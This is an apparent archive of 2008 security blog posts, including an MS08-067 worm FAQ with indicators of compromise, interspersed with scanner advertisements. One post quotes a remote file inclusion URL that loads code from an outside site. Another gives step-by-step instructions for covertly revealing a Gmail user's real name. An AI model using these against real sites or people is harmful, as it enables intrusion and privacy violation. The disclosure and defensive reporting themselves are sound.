In April 2006, AVG acquired Ewido Networks and bumped up their own antivirus’s version from version 7.1 to 7.5. Soon thereafter, Microsoft (!@#$) stated that AVG’s products would even be DIRECTLY available from the Windows Security Center in Vista.
Not cutting many corners, lets shift our focus now on AVG’s acquisition of Exploit Prevention Labs in late in 2007. AVG liked their ‘LinkScanner’ code and later released it in the next huge ‘revision’ of the AVG antivius suite, AVG 8. Now before I bash AVG 8, I will tell you that I used to be a big AVG fan. I always recommended it to everyone, whenever I had the chance. It WAS great — AVG offered advanced protection and ran so smooth and so clean. But at the moment, its bloated, clunky, very slow, a huge resource hog, and I am glad that I don’t have to use it. LinkScanner seems to have great intentions but has, so far, gotten off to a rocky start (or finish). A friend of mine warned me about it when it first was released, and I tried to give it the benefit of the doubt, keeping it on the ‘good’ list. I just simply don’t like the fact that it has been near ruined recently, thanks to AVG’s poor decisions.
Just like in poker, “Its about making the best decisions”, and how true that is when you think about it for the software industry too. Everyone makes mistakes, but AVG: PLEASE BE GOOD AGAIN!
-
Let the experts make sure your website is safe. Vulnerability Assessment is the answer.
Recently Kaspersky, the company who makes your favorite, or not-so-favorite anti-malicious software, called upon government and banking institutions to be more secure. But is it really up to these agencies to make draw the perfect picture of security, or should the end users stop making such bad decisions, both on and offline?
If these ’safety nets’ are deployed, it won’t going to make the best out of security situation, but it will help. On the other side of the packet, using outdated software or insecure browsers (cough!*IE*cough!) that do little or nothing to protect the web surfers, directly and indirectly, should also be of major concern. Wouldn’t it be something if, when accessing one of these websites running INSECUREBROWSER, it suggested you use MORESECUREBROWSER, FOR SECURITY REASONS IF NOTHING ELSE? Woah, wouldn’t that be a different color light bulb. Especially if it was something like, say, Internet Explorer VS Firefox (Yes, I am saying that Firefox’s security is better than Internet Explorer. I believe both core and rendering engines are better, too).
Now, if they try to regulate the internet with security laws and cyber architecture boundaries, its just going to be one big mess. If you’d like one reason it wouldn’t work, just think about how outlawish the internet already is, and has been, since its inception. Then take a break and elaborate on it. I’m sure you’ll find more than one reason we can’t import some crazy set of regulations and actually believe they are going to work and/or solve our problems.
Here is some more fuel for thought: How about separating the internet for low and high bandwidth data flow. Interconnected, but bridged. Not a good idea? Well why not? As long as we are on the same network, there will be fighting over who owns what (more than just headers and footers). But as long as we put the big with the small, there is going to be controversy. There are going to be debates. This last part may have been a little off topic, but I feel like it needed to be said. Security isn’t made, its planned and implemented before regulation begins.
-
Is your site safe from SQL Injection? Website Security Audit is the way to protect your network!
I almost never mistype domain names, so I’m glad firefox was able to catch my error when I did:
(click the image for a larger version)
If you haven’t noticed (I didn’t notice myself in the first 3-4 times; I kept clicking ok and reloading, I thought firefox was acting up) the url is adwords.gogole.com. The good news is that the site is owned by google, so I wouldn’t have been phished in any case. The bad news is that google should have either redirected me to the right site or give me an error message instead of showing me the site with the wrong certificate. I know why they are doing it - it’s easier to do a domain catch-all then a redirect, but it’s not good in terms of user experience.
Firefox’s behavior is interesting too. Note that the warning I got was accompanied with a popup dialog that forced me to press ‘ok’ to get to to a second warning on the page itself.
If you don’t remember the typical error message, here is what anybody surfing more than a day with firefox has seen:
(click the image for a larger version)
This typical firefox warning tries to let me know something is wrong. The problem is, I’m seeing it so much that I’m adding exceptions left-and-right. In this case of the ‘gogole’ typo, the problem is more sever (gogole.com is claiming to be google.com) so I guess firefox decided to add a dialog box to the error. I’m not sure what triggers it and how often it’s displayed, but for me this is the first time seeing it, so my guess is that firefox is trying to keep it for the rare occasion when you need the user to understand the warning has escalated.
I wonder if the next escalation will be a warning siren through the speakers with a small electric shock through the keyboard.
-
Let the experts make sure your website is safe. Vulnerability Assessment is the answer.
For years now, Zone-H.org has been, primarily, a website that mirrors website defacements. And also over the years, nearly every company, government, or otherwise popular/high-profile server has experienced being hacked. In case your not familiar with how it works, I will tell you about the process.
Basically, an attacker defaces the target website in some way and they submit it to Zone-H. Zone-H verifies the defacement and publishes a mirror. They accept any web accessible site, high-profile or not. Blogs, personal websites, mom and pop websites, even free websites haven’t been spared from attackers. But what has made this act so popular, and really into a popularity contest, is Zone-H’s rigorous mirror system, recording stats and names they use to deface, feeding the crave for attention or otherwise.
If you look where they classify and detail ‘special defacements‘, you can see a lot of the attackers’ bread and butter. LG’s Pakistan website, US/Chinese/Malaysian government websites, even on occasion NASA or military websites are hacked and defaced. Some attackers leave politically motivated messages, other just for fun, such as this one by ‘netb00m’:
“LGE pakistan was way to easy to get into.
Its almost like you guys beg to get hack.
Anyway, cant you guys make phones more like palm?
I mean you guy do make good stuff, but palm is alot nicer. =)”
As long as Zone-H mirrors these defacements, the attacks will never end. There is simply too much motivation, too many chances to look ‘cool’. However true that is, sometimes these guys get in trouble. I wish the best for them, but they could help themselves by growing up a little. It may have been ‘cool’ back in the day to the deface websites, but now, its just another risk to take to prove yourself to people who seem to carry themselves on their sleeves.
-
Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!
I guess one of the signs that your web service is taking off is that spammers are targeting you. In the last few days more and more fictitious followers have surfaced, obviously for the purpose of sending twitter spam once you follow the person who is following you (as most people do almost without thinking).
The twitter team seem to be doing a good job on suspending those accounts immediately (perhaps automatically?) now they just need to figure out how to prevent them from signing up in the first place.
Update: Definitely not automatically. The last batch of spam followers are still active accounts. Or maybe they figured twitter’s threshold and they are avoiding the automatic suspension.
-
Is your site safe from SQL Injection attacks? Use an SQL Injection Scanner on a daily basis to protect your network!
Opera the web browser is apparently now great at one thing: following the standards.
Yesterday, Opera 10 Alpha was released and flaunted its 100/100 score on the Acid3 test, passing with all the colors of the rainbow this time. But honestly, Opera, like several other ‘alternative’ browsers (and if your a hardcore fan/follower, excuse me), is just trying to catch up with the old dogs.
Firefox in particular has had many of Opera’s ‘new’ features and ‘improvements’ for quite a while. Security issues in Opera, often simple and totally trivial bugs, have been found and released. Not saying more than other browsers; both Firefox and Internet Explorer have them doubled to say the least, but I just never could bring myself to trust this unique web browser.
Auto-update has just been put in place, and I feel, as a security researcher, that it is an extremely valuable mitigation tool when new exploits spring up. Thank God the development team FINALLY put this sub-standard feature in place. Presto 2.2 has taken things to the next level with most of these improvements, more details of which you can find for windows, mac, and ‘linux/unix‘.
Has security been incorporated into Opera recently more than ever? Maybe. Has Opera been built with security from the ground up? Certainly not. Pay attention to your favorite XYZ exploit/advisory feed for inevitable updates.
-
Make your website safer. Use an external vulnerability scanner. Nothing to install, zero maintenance!
Two of Cigital’s thought leaders, Paco Hope and Ben Walther, just published a new book from O’Reilly called the Web Security Testing Cookbook. I wrote the foreword for the book which is reprinted below. More information about the book can also be found on Facebook.
Web applications suffer more than their share of security attacks. Here’s why. Websites and the applications that exist on them are in some sense the virtual front door of all corporations and organizations. Growth of the Web since 1993 has been astounding, outpacing even the adoption of the television and electricity in terms of speed of wide spread adoption.
Web applications are playing a growing and increasingly prominent role in software development. In fact, pundits currently have us entering the era of Web 3.0. The problem is that security has frankly not kept pace. At the moment we have enough problems securing Web 1.0 apps that we haven’t even started on Web 2.0, not to mention Web 3.0.
Before I go on, there’s something I need to get off my chest. Web applications are an important and growing kind of software, but they’re not the only kind of software! In fact, considering the number of legacy applications, embedded devices, and other code in the world, my bet is that web applications make up only a small percentage of all things software. So when all of the software security attention of the world is focused solely on web applications, I get worried. There are plenty of other kinds of critical applications out there that don’t live on the Web. That’s why I think of myself as a software security person and not a Web application security person.
In any case, Web application security and software security do share many common problems and pitfalls (not surprising since one is a subset of the other). One common problem is treating security as a feature, or as “stuff.” Security is not “stuff.” Security is a property of a system. That means that no amount of authentication technology, magic crypto fairy dust, or service-oriented architecture (SOA) ws-* security API will automagically solve the security problem. In fact, security has more to do with testing and assurance than anything else.
Enter this book. Boy, do we need a good measure of web application security testing! You see, many “tests” devised by security experts for web app testing are not carried out with any testing rigor. It turns out that testing is its own discipline, with an entire literature behind it. What Paco and Ben bring to the table is deep knowledge of testing clue. That’s a rare combination.
One critical factor about tests that all testers worth their salt understand is that results must be actionable. A bad test result reports something vague like “You have an XSS problem in the bigjavaglob.java file.” How is a developer supposed to fix that? What’s missing is a reasonable explanation of what XSS is (cross-site scripting, of course), where in the bazillion-line file the problem may occur, and what to do to fix it. This book has enough technical information in it for decent testers to report actionable results to actual living developers.
Hopefully the lessons in this book will be adopted not only by security types but also by testing people working on web applications. In fact, Quality Assurance (QA) people will enjoy the fact that this book is aimed squarely at testers, with the notions of regression testing, coverage, and unit testing built right in. In my experience, testing people are much better at testing than security people are. Used properly, this book can transform security people into better testers, and testers into better security people. Another critical feature of this book is its clear focus on tools and automation. Modern testers use tools, as do modern security people. This book is full of real examples based on real tools, many of which you can download for free on the Net. In fact, this book serves as a guide to proper tool use since many of the open source tools described don’t come with built-in tutorials or how-to guides. I am a fan of hands-on material, and this book is about as hands-on as you can get.
An overly optimistic approach to software development has certainly led to the creation of some mind-boggling stuff, but it has likewise allowed us to paint ourselves into the corner from a security perspective. Simply put, we neglected to think about what would happen to our software if it were intentionally and maliciously attacked. The attackers are at the gates, probing our web applications every day.
Software security is the practice of building software to be secure and function properly under malicious attack. This book is about one of software security’s most important practices—security testing.
—Gary McGraw, July 2008
As cloud computing seems to be the latest hot topic, getting about the same, if not more heat than virtualization, I thought that it would be a good idea to post about a blog that I found a few days ago.
It has some really decent points, and good advice for anyone wondering about security in the cloud, take a look, and please post more links in the comments section if you have any of your own, and I will add them to the post, you’ll also get the credit for posting the link
Here’s the link:
-
Is your site safe from SQL Injection? Website Security Audit is the way to protect your network!
It’s good to see that my challenge from yesterday to write a blog post a day for the next week seems to have got some people blogging on here again, so c’mon, let’s try and keep this up for the week.
If no-one’s ever read the INSECURE magazine before, then now is a great time to start reading them, and go through the back issues as well, as the information held within this magazine is usually really worthwhile.
To give you an overview of what’s contained within this months issue, here’s the index.
You can download the magazine from here:
[www.net-security.org]
Hats off to the guys and girls at Net-Security for working so hard on a top quality magazine.
Update: Corrected link
-
Is your site safe from SQL Injection attacks? Use an SQL Injection Scanner on a daily basis to protect your network!
Xyberpix posted his challenge without giving us any advance notice, but being the ego-driven macho man that I am, even with mediocre writing skills, I can’t not accept it.
So here’s a random thought for the day. AppleTV is a useless brick unless hacked to run something like boxee or another front-end player for custom movie files. It’s safe to say most AppleTV users use it to play content outside iTunes.
The latest AppleTV update (version 2.3) has two interesting qualities.
One, it fixes several vulnerabilities involving playing malformed movie files (kuddos for ZDI for the finds). It shouldn’t be difficult to compare 2.3 to 2.2 and find where the problems are exactly. Some reverse-assembly requires, but definitely doable.
Two, it breaks many of the hacks like mounting external USB drives, and creates problems for applications like boxee.
From problem #2, I’m willing to guess many (most?) of the ATV users that hacked the machine haven’t upgraded. From problem #1 I know that those who haven’t upgraded are vulnerable. They will remain vulnerable for some time, until the hacks improve and find a way around this infamous update.
So will we see an attack targeting AppleTV any time soon? It’s a cute little linux-based device that sits in the network with a connection to the local home LAN. All it takes is the right AVI on the piratebay (or youtube?) to create a little AppleTV zombie net.
-
Make your website safer. Use an external vulnerability scanner. Nothing to install, zero maintenance!
You are probably reading this post, saying why does he even let me know, so I will start by saying that my boy had is birthday a few months ago, so this post isn’t about him, its completely unrelated.
It has to do with this site: http://babycaleb.fort unecity.co.uk/ (I broke the link so people do not JUST jump and go to it)
This site isn’t mine, it was used to hack a friend’s web site, so I took to myself to look into it.
This site hosts a few pictures, some are quite weird to put online (hint to: My Wifes Scar), while others are completely harmless (hint to: My baby).
The issue is not in the pictures but rather what is there and cannot be seen without doing a bit of digging.
I will give some more hints in a follow-up post, if no one else comes up with what does this site do to you.
(Another hint, the site of my friend was hacked using this link: /clock.php?arg_tmirror=http://babycaleb.fortu necity.co.uk/index.htm)
-
Is your site safe from SQL Injection? Website Security Audit is the way to protect your network!
RSA Security’s Blog has information about the seriousness of the Sinowal banking Trojan.
Like many of us know this Trojan aka Trojan-PSW:W32/Sinowal.CP and Trojan.Mebroo uses so-called MBR rootkit technique.
-
Is your site safe from SQL Injection attacks? Use an SQL Injection Scanner on a daily basis to protect your network!
The RPC Worm Victim List has a list [.txt] of hundreds machines and they are mainly Windows XP machines (MSIE 6.0 or MSIE7.0; Windows NT 5.1 in browser’s user agent).
I made a script to generate WHOIS queries and the results say that the victim machines are located mainly in Australia, China, Philippines, India, Japan, Korea, Malta, Malaysia, Taiwan, and Vietnam. There are only some machines in France, UK, and USA.
It’s very interesting that there is an IP from Microsoft too - a Wget machine with IP address 64.147.0.80. The Wget version is 1.10.2.
Whois Record
OrgName: Microsoft Corp
OrgID: MSFT
Address: One Microsoft Way
City: Redmond
StateProv: WA
PostalCode: 98052
Country: USNetRange: 131.107.0.0 - 131.107.255.255
CIDR: 131.107.0.0/16
NetName: MICROSOFT
There are several Wget UA’s included, one with the version number Wget/1.8.2 too.
I recommend that Redmon guys patch that machine ASAP 
-
Make your website safer. Use an external vulnerability scanner. Nothing to install, zero maintenance!
Summary:
This is Frequently Asked Questions document about new, recently patched RPC vulnerability in Microsoft Windows. The document describes related Trojan and worm malware as well.
It is worth of noticing that code execution type vulnerabilities in Office programs are widely used to industrial espionage since 2006. This time the exploitation represents the use of non-Office vulnerabilities and e-mail attack vector is not used.
Update: After the weekend the malware analyses shows that the Trojan has designed to steal credential information and to collect a botnet-like network.
Q: What is the recent Microsoft Window RPC vulnerability disclosed in October?
A: This vulnerability is caused by an error when processing malformed RPC (Remote Procedure Call) requests. The issue was disclosed by the vendor after active exploitation of the vulnerability.
Q: How does the vulnerability mentioned works?
A: The vulnerability is code execution type vulnerability. Attacker successfully exploiting this vulnerability can run code of his or hers choice in the affected machine.
This vulnerability is caused due to overflow when handling malformed RPC requests. This enables executing arbitrary code of the attacker. Technically the vulnerability exists in the Server service.
Q: When this vulnerability was found?
A: The exact information is not available. Information about upcoming security update was announced on 22nd October, but this vulnerability has been used in targeted attacks at least two weeks already. The exploitation disclosed the existence of vulnerability.
Q: What is the mechanism in exploitation?
A: Information was not disclosed, but during the exploitation malicious executables are being downloaded and executed from the remote Web site.
Q: Is the exploit code of this vulnerability publicly released?
A: Yes. On Friday 24th October the proof of concept code was released on a blog of security researcher and on public, moderated security mailing list. The PoC has been released at several well-known exploit and security community Web sites too. Metasploit module has been released too (link). PoC’s work against Windows XP SP2, Windows XP SP3 and Windows 2003 Server SP2 machines.
Q: Which Windows versions are affected?
A: Microsoft Windows 2000, Windows XP, Windows Vista, Windows 2003 Server and Windows Server 2008 systems are affected.
Q: I am using the 7 Pre-Beta version of Windows, is my operating system affected?
A: According to the Microsoft it is affected too. An update is available (see MS08-067).
Q: I am a home user, is it possible to update my system in a normal way via Microsoft Update?
A: Yes, visiting the Microsoft Update Web site at [update.microsoft.com] will update the system against the exploitation of the vulnerability. If the Automatic Updates is enabled the system will be updated automatically without user’s actions.
Q: Where are the official Microsoft documents related to this case located?
A: The official Security Bulletin MS08-067, entitled Vulnerability in Server Service Could Allow Remote Code Execution (958644) has been released at Microsoft TechNet Security section:
www.microsoft.com/technet/security/Bulletin/MS08-067.mspx
Updated information released by the vendor has been covered at MSRC Blog (The Microsoft Security Response Center Blog). The address of the blog is blogs.technet.com/msrc/.
File information of the MS08-067 security update has been released at separate Knowledge Base document #958644: support.microsoft.com/kb/958644.
Microsoft Security Advisory #958963 released to notify the availability of the security update is located at
www.microsoft.com/technet/security/advisory/958963.mspx
Q: What the term ‘out-of-band’ means?
A: Normally Microsoft releases security updates once a month, at the second Tuesday of the every month. Very rarely, during the Windows ANI vulnerability etc. the security update will come out outside of this regular update cycle. Out-of-band and out-of-cycle describe the situation when waiting the regular update Tuesday, so-called Patch Tuesday is not enough to protect Windows systems against exploitation.
The next security updates will be released on Tuesday 11th November.
Update:
Q: Is this a new Slammer worm?
A: No, due to new security features included to SP2 etc. However, on 3rd Nov it was reported about the worm exploiting this vulnerability.
Q: Are there any workarounds available? Our organization is making tests with the patch still.
A: The security bulletin lists the following workarounds:
-Disable the Server and Computer Browser services
-Block TCP ports 139 and 445 at the firewall
Q: Is there Snort rules for this vulnerability available?
A: Yes. Additional details can be obtained at
www.snort.org/vrt/advisories/vrt-rules-2008-10-23.html
known as a ruleset against Microsoft DCE/RPC remote code execution attempts.
The download address is www.snort.org/pub-bin/downloads.cgi
(to paying Sourcefire customers)
Emerging Threats project has released new signatures too, details at
http://www.emergingthreats.net/index.php/component/content/article/17-sigs/125-weekly-new-signatures-october-25-2008.html
Q: What is the situation of Nessus plugins related to this vulnerability?
A: Nessus Plugin ID #34476 has been released. More information is available at
www.nessus.org/plugins/index.php?view=single&id=34476
Q: What are the target organizations etc. of this vulnerability?
A: This information is not available and probably it will never go public. Microsoft has confirmed that fever than 100 organizations are targeted in targeted attacks.
Q: Is there information about file sizes used during the attacks?
A: Yes. The size is 397,312 bytes.
Update: The size can be anything between 49,152 and 417,792 bytes.
Q: How the user can notify the infection?
A: It is reported that the command prompt will appear.
Q: What are the names of malwares exploiting this vulnerability?
A: There are reports about a data collecting Trojan (Gimmiv.A) and a Trojan searching for non-patched machines on LAN (Arpoc.A).
The following names are being used (listed in alphabetical order):
AhnLab - Dropper/Gimmiv.397312 since 2008.10.24.04
Authentium - W32/Gimmiv.A since 23rd Oct
Avira - TR/Dldr.Agent.gcx since 24th Oct, iVDF 7.00.07.81
Bitdefender - Win32.Worm.Gimmiv.A since since 23rd Oct
- dropper detected as Win32.Worm.Gimmiv.B
CA - Win32/Gimmiv.A since eTrust 31.6.6167
ClamAV - Trojan.Gimmiv since 8524
- Trojan.Gimmiv-1…Trojan.Gimmiv-7 since 8526
Dr.Web - DLOADER.PWS.Trojan since 23rd Oct
Eset - Win32/Gimmiv.A since 24th Oct, v.3551
- Win32/Spy.Gimmiv, Win32/Spy.Gimmiv.A since v.3553
- Win32/Spy.Gimmiv.B since v.3555
Fortinet - W32/Gimmiv.A!tr.spy
- name change: W32/Gimmiv.A!worm since 9.676
F-Secure - Trojan-Spy:W32/Gimmiv.A since 2008-10-24_01
- Trojan-Spy:W32/Gimmiv.B since 2008-10-24_05
- Trojan-Spy:W32/Gimmiv.C, D, E, F variants since 2008-10-24_08
- Net-Worm.Win32.Gimmiv.a since 25th Oct 2008-10-25_01
McAfee - PWS.y!C91DA1B9 since DAT5413
- Spy-Agent.da since 23rd Oct, DAT5414, its DLL component detected as Spy-Agent.da.dll
Microsoft - TrojanSpy:Win32/Gimmiv.A[.dll] since 23rd Oct
- since 24th Oct update 1.4005 included signatures
- exploit: Exploit:Win32/MS08067.gen!A
Kaspersky - Trojan-Downloader.Win32.Agent.alce since 24th Oct, 7.0.0.125
Panda Security – detected as ‘Suspicious file’ since 23rd Oct, 9.0.0.4
- Gimmiv.A since 24th Oct
PCTools - Trojan-Spy.Gimmiv.A
Prevx - detected as ‘Cloaked Malware‘
Rising - Trojan.Spy.Win32.Undef.z since 23rd Oct, 21.00.32.00
Sophos - Sus/Dropper-A since 21st Aug (based to heuristic techniques)
- additionally Troj/Gimmiv-A, IDEs since 4.34.0,
- Troj/Gimmiv-Gen since 4th Nov
Symantec - Infostealer since 23rd Oct
- name change: Trojan.Gimmiv.A since 24th Oct, rev. 024
- malicious files detected as Bloodhound.Exploit.212
Trend Micro - WORM_GIMMIV.A since 5.617.00
- TSPY_GIMMIV.A since 5.617.00
where ’2008.10.24.04’ states that these virus signatures or newer include a protection for the malware.
Alias names CVE-2008-4250, W32.Slugin.A and W32/NetAPI32.RPC!exploit.M20084250 are in use too.
Update: Added Arpoc section:
BitDefender - Win32.Worm.Gimmiv.B
CA - Win32/Gimmiv.B since 31.6.6172
Dr.Web - Win32.HLLW.Jimmy.3 since unknown signatures
McAfee - Spy-Agent.da since DAT5414, its DLL component detected as Spy-Agent.da.dll
Update: Added RPC worm section:
AntiVir - TR/Expl.MS08-067.G
BitDefender - Trojan.Downloader.Shelcod.A
ClamAV - Exploit.MS08-067 since 8566
Eset - Win32/Exploit.MS08-067.B, C and D since 3576
F-Secure - worm component as Exploit.Win32.MS08-067.g
- kernel component as Rootkit.Win32.KernelBot.dg
Ikarus - Virus.Exploit.Win32.MS08.067.g
Kaspersky - Exploit.Win32.MS08-067.g since 31th Oct
McAfee - kernel component as KerBot!37E73FFB since DAT5422
Microsoft - Exploit:Win32/MS08067.gen!A
- Trojan:Win32/Wecorl.A
- Trojan:Win32/Wecorl.B
Norman - kernel component as w32/agent.jbvo
Prevx - Worm.KernelBot
Sophos - Mal/Generic-A
- Exp/MS08067-A since 4th Nov
Symantec - W32.Wecorl since 3rd Nov (latest daily certified version) rev. 052
- W32.Kernelbot.A since 3rd Nov (latest daily certified version) rev. 041
Trend Micro - WORM_KERBOT.A since 5.637.00
- WORM_WECORL.A since 5.640.05
Q: What kind of payload this Trojan horse has?
A: This is what the Trojan gathers (according to Microsoft’s document):
*User Name
*Computer Name
*Network Adapters / IP Addresses
*Installed com objects
*Installed programs and installed patches
*Recently opened documents
*Outlook Express and MSN Messenger credentials
*Protected Storage credentials
Q: What kind of Trojan has attacked to the targeted organizations?
A: It is a very sophisticated and dangerous Trojan. It encrypts the data with AES and deletes itself after its operations. Before sending the gathered data to the attacker it reports the AV software of the installation (from HKEY_LOCAL_MACHINESOFTWARE) as a parameter (BitDefender, Jiangmin, Kingsoft, Kaspersky, Microsoft OneCare, Rising and Trend Micro).
Q: Are there any changes to Windows registry or the file system made by this malware?
A: The following registry key is being modified:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicessysmgr
The display name of the service being generated is System Maintenance Service.
The malicious files are being copied to System32wbem folder including basesvc.dll, syicon.dll, winbase.dll and winbaseInst.exe. NOTE: After being executed the Trojan deletes these files and itself.
Update: According to Arbor Networks the file C:Documents and SettingsLocalServiceLocal SettingsTemporary Internet Filesmacnabi.log is being dropped too.
Q: Now I know that my anti-virus software can report computers in my organizations as clean because the Trojan has deleted itself from the system. What are the malicious executables that I can search them and examine logs etc.?
A: There are several names and all of the files has same size mentioned earlier, i.e. 397,312 bytes.
Update: According to McAfee the size varies from 49,152 to 417,792 bytes.
The most common file name is N2.exe. However, file names Nx.exe are widely spreading as well; [x] represents a number from 1 through 9.
The MD5 hash of the one specific N2.exe file in the wild on 23rd Oct is f173007fbd8e2190af3be7837acd70a4.
Update: To list one more the MD5 hash of n5.exe is 24cd978da62cff8370b83c26e134ff4c.
Prevx database knows the following file names too:
15197927.EXE, 00003106.EXE, NVIR/N2.EXE, 18912604.EXE, 54800477.DAT
The format of the file can be NVIR/N3.EXE etc. too.
Q: What type of network connections these malware make?
A: Gimmiv.A sends an ICMP Echo Request packet to multiple IP addresses including the string ”abcde12345fghij6789”.
Q: How can I recognize malicious files spreading RPC worm (Exploit.Win32.MS08-067.g)?
A: The files names reported in the wild are 6767.exe and KernekDbg.exe.
Q: What is the size of these files?
A: The size are various, but many of them are 16,384 bytes long.
Q: What kind of network connections the worm makes and are there any modifications made to Windows registry?
A: It connects to robot.10wrj.com, ls.cc86.info, ls.lenovowireless.net and ls.playswomen.com. Yes, the worm will add the new value to HKLMSOFTWARELicenses and HKLMSOFTWAREGoogle.
Q: Are there any changes to Windows HOSTS file?
A: Yes, the lines
127.0.0.1 dnl-cn1.kaspersky-labs.com
127.0.0.1 alert.rising.com.cn
127.0.0.1 www.mcafee.com
will be added yo the HOSTS file.
Q: Is there CVE name available to this issue?
A: Yes. The Common Vulnerabilities and Exposures project (cve.mitre.org) has released the following CVE candidate CVE-2008-4250:
cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
Q: What is the CVSS severity of this vulnerability?
A: The CVSS (Common Vulnerability Scoring System) score is 10.0 (High).
Q: Is there a CWE class assigned?
A: The CWE (Common Weakness Enumeration) ID of the vulnerability, in turn, is #119, i.e. Failure to Constrain Operations within the Bounds of an Allocated Memory Buffer class:
cwe.mitre.org/data/definitions/119.html
Q: Is there a CME name available?
A: No. The Common Malware Enumeration (CME) project has not assigned an identifier for these malware.
Q: When exploiting this RPC vulnerability is the authentication needed?
A: On Windows 2000, XP, and Windows Server 2003 systems arbitrary code can be run without authentication. On Vista systems the authentication is needed.
Q: What is the vulnerable component?
A: It is netapi32.dll (Net Win32 API DLL). On Windows 2000 SP4 the non-affected version is 5.0.2195.7203, on Windows XP SP3 5.1.2600.5694 and on Vista SP1 there are several 6.0.6000.xxxx versions, see KB958644 for details. The vulnerable Windows API call is NetPathCanonicalize(), in turn.
Secunia has renamed its vulnerability advisory to Windows Path canonicalisation vulnerability. It states that processing directory traversal character sequences in path names enables to send drafted RPC requests to the Server Service.
(c) Juha-Matti Laurio, Finland (UTC +2hrs)
The author has released several Microsoft Office 0-day vulnerability FAQ documents, e.g.
blogs.securiteam.com/index.php/archives/759
and Windows Vector Markup Language vulnerability FAQ’s
blogs.securiteam.com/index.php/archives/640
since 2006.
Revision History:
1.0 25-10-2008 Initial release
1.1 26-10-2008 Updated document and some minor fixes
1.2 26-10-2008 Major updates to Trojan section, added credits, information of non-affected dll versions and Snort rule reference
1.3 27-10-2008 Added information about the various file names and sizes, a separate Arpoc section and Nessus plugin reference and [UPDATED] to the title
1.4 27-10-2008 Several virus description release dates and ID’s added, updated the summary to clarify the characteristics of the exploitation
1.5 28-10-2008 Added Microsoft Security Advisory #958963 link
1.6 29-10-2008 Added names to Arpoc Trojan section
1.7 03-11-2008 Updated the exploit/PoC section and added information about the worm exploiting the vulnerability
1.8 04-11-2008 Added names to RPC worm section, updated the summary
1.9 05-11-2008 Added information about Windows HOSTS file modification and new worm names
Credits: Microsoft, AV vendors, Prevx Malware Center
-
Is your site safe from SQL Injection attacks? Use an SQL Injection Scanner on a daily basis to protect your network!
Roy T. Fielding, author of the REST thesis wrote an article recently: REST APIs must be hypertext-driven. I liked this article, it fit with an intuition I’ve had. Then he wrote an article explaining that he wouldn’t really explain the other articles because, I guess, he wanted a conversation with the specialists, and it seems like a kind of invitation to reinterpret his writing. So since others are doing it I figured I’d do it too.
I’d summarize his argument thus:
An example of a protocol based on a URL structure would be something like:
JSON is a reasonable structure for a media type. It is not itself a fully explained type, because it’s just a container for data, just like XML. In this example you have a document, [1, 2, 3] which isn’t self-describing and just isn’t very useful. A more appropriate protocol would be:
It’s a small difference. Heck, the communication could look identical in practice, but by putting URLs in the JSON document instead of this abstract "id" notion you’ve created a more flexible and self-describing system. You could probably give a name to that list of URLs, and then just talk about that name.
An example in Atompub is rel="edit". An Atom entry can look like:
<entry>... <link rel="edit" href="/post/15" /> </entry>
Instead of the client just somehow knowing where to go to edit an entry, it’s made explicit. Thus you can move the entry around, while still pointing back to the canonical location to edit that entry.
There’s nothing really that complicated about this, the rule is really quite simple: link to other things, don’t just expect the client to know or guess where those other things are.
For a more concrete example of where this linking works well, OpenID uses <link rel="openid.server" href="…"> and <link rel="openid.delegate" href="…">, which allows you to add a little information to any HTML homepage so that the login can happen at a third location. If OpenID used something like looking at {homepage}/openid for a OpenID server then you couldn’t select whatever OpenID service you liked, or change services, or apply OpenID to hosted locations where you couldn’t install an OpenID server.
I’ll add my own little opinion in here: this is why the URL structure of applications doesn’t affect their RESTfulness, nor is URL structure all that important of a concern generally. Pretty URL structures are a nice thing to do, like indenting your code in a pleasant way, but it has nothing to do with your API, and if you can’t use a crappy URL structure with that same API then probably something is wrong with that API.
Here’s what happens when you try to bury a security vulnerability by fixing it silently and not telling anyone: all other similar vulnerabilities remain unfixed.
When I started a challenge yesterday to find a different way to find the full name behind a user’s gmail address I had a specific method in mind – a weakness in google docs that shows the full name of a person when you share a document (description and screen shots below). But it appears this problem is more widespread – it affects google maps, and perhaps other apps as well (there seems to be a difference between various localized versions of the google applications, so YMMV). Andre claims that he’d known about this for 2.5 years ago, and I wonder who else have known (spammers using this method to personalize the mails sent to gmail addresses?). All of this could have been prevented if google came out with a simple advisory explaining the problem and their stand on it. If they really wanted to fix it (and not just silence the press about the previous problem) people would have notified them about the other problems so that they can address them. Instead, they sent a PR drone to deny this is really a problem, while a programmer patched it without giving thought to the other google applications.
I’d be happy to hear from anyone on google’s security or development team – I promise to post their response verbatim and I’m curious to hear what they have to say. Notice, however, that I couldn’t care less about their PR response. If your position in google is marketing, don’t bother replying – this is a security issue and not a marketing issue – it’s time google addresses it for what it is.
And for those who were patient enough to go through my rant, here’s a step-by-step explanation provided by Vincent Claeys on how to reveal the real name behind the gmail address. Kudos to Naftali Shpitzer, Vincent Claeys and Andre Gironda for finding the way (and other ways I haven’t thought of…) to solve the problem.
1. Log in to your gmail account
2. Click documents on the left top
3. Create a presentation, save it, close it
4. In the list with presentations, select the presentation you just made
5. Click the “share” button
6. Type in the e-mail address of which you want to find out the real name
7. Click “invite” (I always use “as viewers”, but “as collaborators”
will work as well I guess)
8. Click “skip sending invitation”
9. Click “ok” in the warning window
10. Click on the presentation to open it (a new window will open)
11. Click on the “share” tab on the right top corner
12. Read the real name of the person you invited
13. Remove the invited person from the list again so he doesn’t notice
anything when he logs into his gmail account
-
Is your site safe from SQL Injection attacks? Use an SQL Injection Scanner on a daily basis to protect your network!
Adi Sharabani and Yinnon Haviv, both from IBM Rational Application Security, gave a very interesting presentation on the subject of Blackbox and Whitebox application security scanners, at the recent OWASP IL conference that took place last week.
Since our team is working on both technologies, we believe that we can provide an unbiased and thorough overview of the difference between both scanning approaches, and also to point out how they complement each other.
You can view the presentation here, or download it from the OWASP IL conference site (will soon be uploaded).
We will soon upload another OWASP IL presentation given by our own Ronen Bachar, which talks about the challenges and solutions for automated Flash/Flex application security testing, so stay tuned!
As you can see from the comments in my previous post, google has fixed the google calendar problem that allowed gmail users to see other users’ full names. Obviously, many people are disappointed – that’s the downside of web services: once a vulnerability is fixed, it’s fixed for everyone, immediately
But Yair, SEO expert by day and curious individual by night, told me about a different way to do the attack. This attack works on both gmail and google app users, and is completely stealth – unlike the google calendar attack that notifies the victim, this one can be conducted without them knowing.
